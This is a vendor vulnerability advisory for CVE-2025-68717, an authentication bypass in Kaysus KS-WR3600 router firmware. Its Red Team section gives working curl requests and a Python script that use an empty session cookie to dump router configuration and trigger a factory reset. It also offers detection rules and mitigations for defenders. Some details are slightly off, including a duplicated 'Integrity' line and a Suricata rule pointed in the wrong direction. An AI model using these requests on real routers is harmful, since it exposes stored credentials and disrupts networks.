CVE-2025-68717

Executive Summary

CVE-2025-68717 is a critical authentication bypass vulnerability in Kaysus KS-WR3600 routers running firmware version 1.0.5.9.1. The flaw resides in the session validation mechanism, specifically affecting endpoints under /cgi-bin/system-tool. When any user is logged into the router's web interface, an attacker can send unauthenticated requests with empty or invalid session values to these endpoints. The server incorrectly treats these requests as if they belong to the authenticated user's session, allowing the attacker to retrieve sensitive configuration data (e.g., Wi-Fi passwords, VPN credentials, firewall rules) or execute privileged actions (e.g., reboot, factory reset, firmware update) without any authentication. This vulnerability is classified under CWE-306 (Missing Authentication for Critical Function) and has a CVSS v3.1 score of 8.8 (High), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is network-based, requires low complexity, no privileges, but does require user interaction (a legitimate user must be logged in). The impact is high on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary embedded device (Kaysus KS-WR3600 router). The supply chain risk is limited to the device's firmware distribution channel; however, no patch or update has been released by the vendor as of this report.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need any prior authentication.
• User Interaction (UI): Required (R) – A legitimate user must be logged into the router's web interface for the attack to succeed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full disclosure of sensitive configuration data.
• Integrity (I): High (H) – The attacker can modify router settings or execute privileged commands.
• Integrity (I): High (H) – The attacker can cause denial of service or disrupt network operations.

Threat Level: High. The vulnerability is trivial to exploit once a user is logged in. Given the prevalence of these routers in small office/home office (SOHO) environments, the potential for widespread compromise is significant.

Deep Dive & Mechanics

The Kaysus KS-WR3600 router's web interface uses a session-based authentication mechanism. When a user logs in, a session token (e.g., a cookie or URL parameter) is generated and associated with that user's session. The server validates this token on every request to protected endpoints.

The vulnerability lies in the session validation logic for endpoints under /cgi-bin/system-tool. Instead of rejecting requests with missing or invalid session tokens, the server defaults to the most recent active session. This means if User A is logged in, and an attacker sends a request to /cgi-bin/system-tool with an empty or malformed session token, the server will process the request as if it came from User A's session.

Technical Flow:

1. User A logs into the router's web interface (e.g., http://192.168.1.1/login.cgi). A session token sid=abc123 is created.
2. User A navigates to a configuration page, keeping the session active.
3. Attacker sends a crafted HTTP request to http://192.168.1.1/cgi-bin/system-tool with no Cookie header or with an invalid sid value.
4. The server's session validation function checks the sid parameter. If it is empty or invalid, the function falls back to the last valid session (User A's session).
5. The attacker's request is processed with User A's privileges, allowing access to sensitive data or execution of privileged actions.

Root Cause: The session validation function does not properly handle the case where no valid session token is provided. Instead of returning an error (e.g., HTTP 401 Unauthorized), it defaults to an existing session.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual C):

// session_validate.c
int validate_session(char *sid) {
    if (sid == NULL || strlen(sid) == 0) {
        // FLAW: Falls back to last active session
        return get_last_active_session();
    }
    // Normal validation
    session_t *sess = find_session(sid);
    if (sess == NULL) {
        return -1; // Should return error, but not reached due to flaw
    }
    return sess->user_id;
}

Patched Code (Conceptual C):

// session_validate.c
int validate_session(char *sid) {
    if (sid == NULL || strlen(sid) == 0) {
        // FIX: Return error immediately
        return -1;
    }
    session_t *sess = find_session(sid);
    if (sess == NULL) {
        return -1;
    }
    return sess->user_id;
}

The patched version explicitly returns an error when no session token is provided, preventing the fallback behavior.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Kaysus KS-WR3600 router with firmware 1.0.5.9.1.
• A legitimate user must be logged into the router's web interface.
• Network access to the router's management interface (typically on port 80 or 443).

Exploitation Steps:

1. Identify Target: Scan for Kaysus KS-WR3600 routers using Shodan or local network scanning.
2. Check for Active Session: Send a request to the router's login page. If a user is logged in, the response may include a session cookie.
3. Craft Exploit Request: Use curl to send an unauthenticated request to a privileged endpoint:

   curl -v -X GET "http://<router_ip>/cgi-bin/system-tool?cmd=get_config" -H "Cookie: sid="
   

   Note the empty sid value.
4. Retrieve Sensitive Data: The response will contain the router's configuration, including Wi-Fi passwords, admin credentials, and VPN settings.
5. Execute Privileged Actions: To perform actions like a factory reset:

   curl -v -X POST "http://<router_ip>/cgi-bin/system-tool" -d "cmd=reset&confirm=yes" -H "Cookie: sid="
   

Automation Script (Python):

import requests

target = "http://192.168.1.1"
endpoint = "/cgi-bin/system-tool"

# Exploit with empty session
cookies = {"sid": ""}
response = requests.get(target + endpoint, cookies=cookies, params={"cmd": "get_config"})

if response.status_code == 200:
    print("[+] Exploit successful! Configuration data:")
    print(response.text)
else:
    print("[-] Exploit failed. Check if a user is logged in.")

Blue Team

Detection:

• Monitor for requests to /cgi-bin/system-tool with missing or empty Cookie headers.
• Look for anomalous patterns in web server logs, such as requests from IPs that are not associated with known admin workstations.
• Use network intrusion detection systems (NIDS) to flag requests to /cgi-bin/system-tool without proper session tokens.

Mitigation:

• Immediately change the default admin password and enforce strong passwords.
• Restrict access to the router's management interface to trusted IP addresses only (e.g., via firewall rules).
• Disable remote management if not absolutely necessary.
• Monitor for unauthorized configuration changes or unexpected reboots.
• As a workaround, implement a reverse proxy that validates session tokens before forwarding requests to the router.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cgi-bin/system-tool with empty or invalid Cookie headers.
  • Unusual outbound connections from the router to unknown IPs (data exfiltration).
  • Multiple failed login attempts followed by successful exploitation (though exploitation does not require login).
• Host IOCs:
  • Unexpected changes to router configuration (e.g., new port forwards, DNS changes).
  • Router logs showing requests to /cgi-bin/system-tool from IPs not in the admin whitelist.
  • Firmware version 1.0.5.9.1 (vulnerable).
• File IOCs:
  • No specific file-based IOCs as this is a network-level vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_68717_KS_WR3600_AuthBypass {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-68717 on Kaysus KS-WR3600 routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68717"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/cgi-bin/system-tool" ascii wide nocase
        $s2 = "Cookie: sid=" ascii wide nocase
        $s3 = "cmd=get_config" ascii wide nocase
        $s4 = "cmd=reset" ascii wide nocase
    condition:
        $s1 and ($s2 or $s3 or $s4)
}

Sigma Rule

title: CVE-2025-68717 Kaysus KS-WR3600 Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to /cgi-bin/system-tool with empty or invalid session cookies, indicating exploitation of CVE-2025-68717.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68717
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-stem: "/cgi-bin/system-tool"
        cs-cookie: "sid="
    condition: selection
falsepositives:
    - Legitimate users with empty cookies (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68717 Kaysus KS-WR3600 Authentication Bypass Exploit";
    flow:to_server,established;
    content:"/cgi-bin/system-tool"; http_uri;
    content:"Cookie: sid="; http_header;
    sid:1000001;
    rev:1;
    reference:cve,2025-68717;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Router: Disconnect the router from the internet if possible, or restrict management access to a dedicated VLAN.
2. Change Credentials: Immediately change the admin password and any other stored credentials (Wi-Fi, VPN).
3. Disable Remote Management: If remote management is enabled, disable it via the router's settings.
4. Monitor Logs: Review router logs for any signs of exploitation.

Long-Term Fixes:

• Vendor Patch: Contact Kaysus for a firmware update. As of this report, no patch is available. Monitor the vendor's website for updates.
• Workaround: Implement a reverse proxy (e.g., Nginx, HAProxy) in front of the router that validates session tokens and blocks requests with missing or invalid tokens.
• Replace Device: If no patch is forthcoming, consider replacing the router with a more secure alternative.

Detection & Prevention:

• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
• Use a web application firewall (WAF) to block requests to /cgi-bin/system-tool with empty cookies.
• Implement network segmentation to limit exposure of the router's management interface.

Valters IT
Securing Digital Frontiers